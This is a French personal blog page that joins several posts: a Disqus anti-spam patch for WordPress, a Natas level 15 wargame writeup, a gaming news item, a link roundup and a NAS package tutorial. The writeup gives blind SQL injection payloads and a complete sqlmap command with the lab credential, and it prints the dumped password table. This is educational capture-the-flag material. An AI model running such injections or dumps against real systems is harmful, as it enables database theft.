Le problème :

Je suis passé depuis quelques temps maintenant au système de commentaire Disqus qui apporte un certain nombre d’avantages et facilite la gestion des commentaires. Disqus protège relativement bien du spam puisqu’il est possible de le coupler avec Akismet afin d’en bloquer un maximum. Ajouter à cela la protection offerte par Cloudflare  qui grâce au projet Honeypot empêche les spammeurs d’accéder au blog je ne devrait pas avoir de problèmes …

Eh bien non comme le prouve le screenshot ci-dessous je reçois encore une quantité non négligeable de spams.

Identification de la source du problème :

Comment les spammeurs arrivent ils à déjouer les protections en place ?

• Premièrement ils n’utilisent pas d’IP ayant déjà été repérées comme utilisées par des spammeurs par le projet Honeypot et ne sont donc pas bloqués par Cloudflare.
• Deuxièmement, ils ne passent pas par Disqus pour poster leurs commentaires mais directement en effectuant une requête de type POST sur /wp-comments-post.php ce qui rend totalement inefficace la protection offerte par Akismet…

Mise en place de la solution :

Comment empêcher cela ? C’est très simple il suffit de désactiver la fonctionnalité permettant de laisser un commentaire si le plugin Disqus est activé ! Ce qui est bien c’est que je ne suis pas le premier à avoir rencontré ce problème et je suis rapidement tombé sur un pull request pour le plugin Disqus de l’utilisateur archon810 qui propose une solution.

Malheureusement la proposition date de 8 mois et n’a toujours pas été intégrée au plugin… Qu’à cela ne tienne on va modifier le plugin nous même, il suffit de rajouter les quelques lignes qui suivent à la fin du fichier disqus.php.

/**
* Disable internal Wordpress commenting if Disqus is enabled - this prevents spam bots from
* commenting using POST requests to /wp-comments-post.php.
*
* @param int $comment_post_ID
* @return int
*/
function dsq_pre_comment_on_post($comment_post_ID) {
    if (dsq_can_replace()) {
        wp_die( __('Sorry, the built-in commenting system is disabled because Disqus is active.') );
    }
    return $comment_post_ID;
}
add_action('pre_comment_on_post', 'dsq_pre_comment_on_post');

Pour cela vous pouvez passer par l’éditeur de plugin depuis le tableau de bord : Extensions >> Editeur.

Une fois la modification effectuée il ne sera plus possible de laisser un commentaire autrement que manuellement via Disqus.

J’espère que ce tutorial vous sera utile, n’hésitez pas à laisser un commentaire si quelques chose ne vous paraît pas claire

Dans le Far West un cowboy hors du commun va tomber amoureux d’une diva.

Il y a quelque temps je me suis penché sur le wargame Natas présent sur le site overthewire, qui permet de s’initier à la sécurité web. Les épreuves sont pour la plupart assez simples et ne devrait pas poser de problèmes à ceux qui ont l’habitude des épreuves de ce genre là. Pour ceux que ça intéresse j’ai mis à disposition les solutions des épreuves précédentes sur le Wiki de ZenkSecurity.

J’ai choisi de rédiger le writeup du level 15 pour montrer que la bonne maîtrise d’un outil peut faire gagner pas mal de temps, en l’occurrence nous allons utiliser sqlmap qui est un des outils les plus populaires pour exploiter les failles de type SQL injection.

L’épreuve se présent sous la forme d’un simple formulaire permettant de vérifier l’existence d’un  utilisateur dans la base de données :

Lorsque que l’on valide le formulaire un message nous indique si oui ou non l’utilisateur est présent :

On suppose qu’il va falloir récupérer les informations de l’utilisateur “natas16″ puisqu’il existe.

Jetons un oeil au code source :

<? 

/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link); 

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 

    mysql_close($link); 
} else { 
?>

On apprend tout d’abord que les informations sont stockées dans une table nommée “users” et qui comprend deux colonnes, “username” et “password”. Le flag pour le prochain niveau correspond très probablement au mot de passe de l’utilisateur natas16.

On remarque qu’il est possible de modifier la requête SQL en manipulant le paramètre “username” puisque ce dernier n’est pas filtré. Malheureusement on ne va pas pouvoir directement récupérer les informations présente en base puisque la seule informations que nous est fournis est si oui ou non l’utilisateur existe.

Pour arriver à nos fin nous allons utiliser une technique appelé Blind SQL injection, un exemple est plus parlant :

natas16" and 1=2# // This user doesn't exist.
natas16" and 1=1# //  This user exist.

natas16" and substr(password,1,1)='4'# // This user doesn't exist.
natas16" and substr(password,1,1)='3'# //  This user exist.

On peut donc récupérer caractère par caractère le mot de passe de l’utilisateur natas16 avec un petit script, mais comme je suis feignant on va utiliser sqlmap avec les options qui vont bien:

sqlmap.py 
-u "http://natas15.natas.labs.overthewire.org/" 
--string="This user exists" 
--technique=B 
--auth-type=Basic 
--auth-cred=natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV 
--data "username=natas16" 
-D natas15 
-T users 
-C username,password 
--dump 
--level=5 
--risk=3

Après quelques minutes vous devriez obtenir ceci :

+----------------------------------+----------+
| password                         | username |
+----------------------------------+----------+
| hROtsfM734                       | alice    |
| 6P151OntQe                       | bob      |
| HLwuGKts2w                       | charlie  |
| 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L | natas16  |
+----------------------------------+----------+

Et une épreuve validée de plus

Pour plus d’info concernant les options de sqlmap reportez vous à la documentation.

Et si vous voulez voir l’exécution du script en direct c’est par ici : http://ascii.io/a/1623

Vous êtes encore nombreux à venir sur ce blog en cherchant des infos sur Skyrim Online (un mod pour Skyrim dont on a pas réellement de nouvelles depuis juin dernier) mais ce dernier à peu de chance d’aboutir sur quelque chose de concret. Ce n’est cependant pas le cas du MMO en cours de développement par ZeniMax qui s’illustre dans une vidéo assez complète permettant de se faire une première idée du jeu.  Au menu :

• Un système de combat proche des jeux vidéos Elder Scroll (possiblité de de parer les coup, de s’accroupir…)
• Des batailles massives en  PvP un peu dans le style de Guild Wars 2 (attaque de forteresse avec des armes de sièges)
• Une gestion des serveurs unique grâce à la technologie Megaserver (ça manque un peu de précisions)
• Un système de quêtes basé sur l’exploration
• et bien plus encore…

Je ne suis pas un grand fan de MMO par contre Skyrim et compagnie ce n’est pas la même chose, The Elder Scrolls Online arrivera peut être à me faire changer d’avis encore faut il qu’il arrive à se démarquer des concurrents.

Qu’est ce que vous en pensez ?

Même si cela ne remplace pas un bon article voici quelques uns des liens que j’ai partagé et qui pourrait vous intéresser :

• Comment envoyer des messages qui s’autodétruisent avec Google Docs : http://bit.ly/QiGwzo [EN]
• Comment visualiser les profils LinkedIn de manière anonyme lorsque l’on est authentifié : http://bit.ly/QiGAiB [EN]
• Comment les plus grandes compagnies font-elles de l’argent ? : http://bit.ly/PxZqHw [EN]
• Si vous êtes étudiants, Dropbox offre de l’espace de stockage gratuit : http://bit.ly/QjiQL7 [EN]
• Comment afficher sa photo de profil dans les résultats Google : http://bit.ly/REuepp [FR]
• Visitez à la manière de street view un datacenter de Google http://bit.ly/QVKmQp (Une invite sur le tracker privé TorrentDay pour le premier qui trouve le Stormtrooper )
• De nouvelles techniques d’obfuscation présentées à la DEFCON pour les injections SQL http://bit.ly/RaBBSK [EN]
• Framarklets, des bookmarklets utiles http://bit.ly/ReKBpR
• Les gouvernements se tournent de plus en plus vers des solutions permettant de suveiller leurs citoyens http://bit.ly/Rl7FDn [EN]
• Hacker un keylogger (physique) USB  http://bit.ly/S0yOyn [EN]
• Un article expliquant comment sont jailbreaker les appareil iOS http://bit.ly/RvJuCr [EN]
• Jailbreak d’une NeoTV http://bit.ly/QYiWIt [EN]
• Un article intéressant sur la gestion du nombre de caractère dans un SMS : http://bit.ly/R6Sv3n [FR]
• Pourquoi le leak de la clé de la PS3 ce n’est pas la fin du monde pour Sony http://bit.ly/ShGCfm [EN]
• Un wargame assez facile et instructif pour les personnes intéressé par la sécurité informatique http://bit.ly/SjA7Zw [EN]
• Dessinez avec du texte. Inutile et complètement indispensable – http://bit.ly/Sa8Y8I
• Pour les fans de Modern UI et des icônes rondes et carrées : http://bit.ly/Sab1JW et http://bit.ly/SpCvOq
• La Géorgie espionnée par un hacker russe, qu’elle démasque en le piratant. Très intéressant http://bit.ly/SsvLzc
• Un diplôme intitulé “Ethical Hacking” en poche et après http://bit.ly/SfrwnT [EN]
• Vérifier vos configurations Apache des sites populaires laissent fuiter des informations sensibles http://bit.ly/SfZEjN [EN]

Cela devrait vous occupez un petit moment, si vous avez des liens intéressants n’hésitez pas à les faire partager en laissant un petit commentaire

J’essayerai de faire un récapitulatif de ce genre une fois par semaine si ça plait.

Mise à jour des Dépots

Une des nouveauté avec la version 0.7 de fun_plug est la possibilité d’ajouter plusieurs “Dépots” qui vont permettre d’installer de nouveaux outils sur le NAS. Un script a été créé qui permet d’automatiser tout cela : uwsiteloader. Attention ceci n’est valable que pour la version 0.7 du fun_plug.

On récupère le script et on le rend exécutable :

wget http://wolf-u.li/u/441 -O /ffp/bin/uwsiteloader.sh
chmod a+x /ffp/bin/uwsiteloader.sh

On l’exécute :

./uwsiteloader.sh

Voici ce que vous devriez observer à l’écran :

Mise à jour des dépots fun_plug 1

Il est possible de proposer d’autres sources

Sélection des dépots

Récapitulatif des dépôts sélectionnés

Téléchargement de la liste des paquets à disposition

Gestion des paquets

La gestion des paquets avec fun_plug s’effectue avec deux outils “slacker” et “funpgk“. Cet article se concentrera sur l’utilisation de slacker qui est plus facile à utiliser grâce à son interface semi-graphique. funpkg est réservé à l’installation manuelle des package, mais dans la plupart des cas ce n’est utile que pour les développeurs. Si vous tapez slacker dans la console vous devriez voir s’afficher la liste des options utilisables :

root@NAS:/ffp/bin# slacker
slacker options pattern...
Options:
        -U      Update package lists
        -C      Clear cache

        Install, reinstall or upgrade:
         -a     List all available packages
         -I     List available packages that are installed and up-to-date
         -i     List available packages that are not installed
         -u     List available packages that differ from the installed version

        Remove packages:
         -r     Remove installed packages
         -o     List installed packages not present at sites

        -A      Pre-select all packages in the dialog
        -F      Do not apply ignore list
        -c      Print report to stdout, no menu

Important: Une fois que vous avez commencer à utiliser slacker pour installer des paquets, il faut aller jusqu’au bout de la procédure décrite dans ce tutoriel.

1. Mise à jour initiales de paquets
2. Installation de nouveaux paquets
3. Sauvegarde des fichiers de configuration des paquets à mettre à jour
4. Mise à jour des paquets, et le plus important
5. faire un chmod a+x sur /ffp/start/sshd.sh

Mise à jour de la liste des paquets disponibles

Si vous ne l’avez pas fait après le lancement du script uwsitedownloader, alors il faut mettre à jour la liste des paquets présents sur les dépôts en utilisant slacker avec l’option -U.

slacker -U

Vous devriez avoir à l’écran quelque chose qui ressemble à ça :

Mise a jour de la liste des paquets disponibles

Installation de paquets

Une fois que la liste des paquets disponibles a été téléchargée, vous pouvez désormais vous lancer dans l’installation de nouveaux paquets. Plusieurs mode d’installation sont disponibles “-a” (liste tous les paquets disponibles), “-i” (liste tous les paquets qui n’ont pas été installés) et “-u” (liste tous les paquets qui diffères de la version installés).

Exemple avec l’option -i :

slacker -i

Vous pouvez alors sélectionner individuellement les paquets que vous souhaitez installer :

Liste des paquets qui n’ont pas encore été installés

La sélection des paquets se fait en utilisant la souris ou bien la barre d’espace et les flèches de navigation. Attention à bien sélectionner la dernière version car certain dépôt propose au téléchargement les versions précédentes.

Pour sélectionner les paquets d’un dépôt en particulier il faut renseigner son identifiant (qui précède les “:”).

Exemple pour sélectionner la liste des paquets mis à disposition par kylek :

slacker -a kylek:

Pour rechercher un paquet en particulier, il suffit de le passer en option :

slacker -a Transmission

Si le paquet est déjà installé, la mise à jour ou la réinstallation vous sera proposée.

Mise à jour d’un paquet

De temps en temps, les propriétaires des dépôts mettent à jour certain paquets. Vous devriez vérifier régulièrement si des mises à jour sont disponibles car certaines peuvent venir patcher des vulnérabilités critiques. Pour faire la mise à jour, il faut d’abord mettre à jour le/les dépôt(s) (voir plus haut) et ensuite vérifier avec slacker si des mises à jour sont disponibles.

slacker -u

Attention : Vérifiez bien que le paquet que vous allez mettre à jour est bien plus ancien que celui proposé. La version courante est affiché en bas de l’écran.

Mise à jour d’un paquet

Deux choses auxquelles il faut faire attention :

1. Il est possible que la mise à jour d’un paquet efface des modifications effectuées sur un fichier de configuration (en générale dans le dossier /ffp/etc/). Pensez à faire une copie avant de mettre à jour.
2. La mise à jour de paquet peut changer les droits de certains fichiers (en particulier les scripts qui lance les daemons dans le dossier /ffp/start/).

chmod a+x /ffp/start/sshd.sh

La commande chmod va donner à tous les utilisateurs (option a) le droits de lancer  (option x) le script sshd.sh.

Suppression de paquet

Si vous souhaitez supprimer un paquet il faut utiliser slacker avec l’option -r.

slacker -r

Source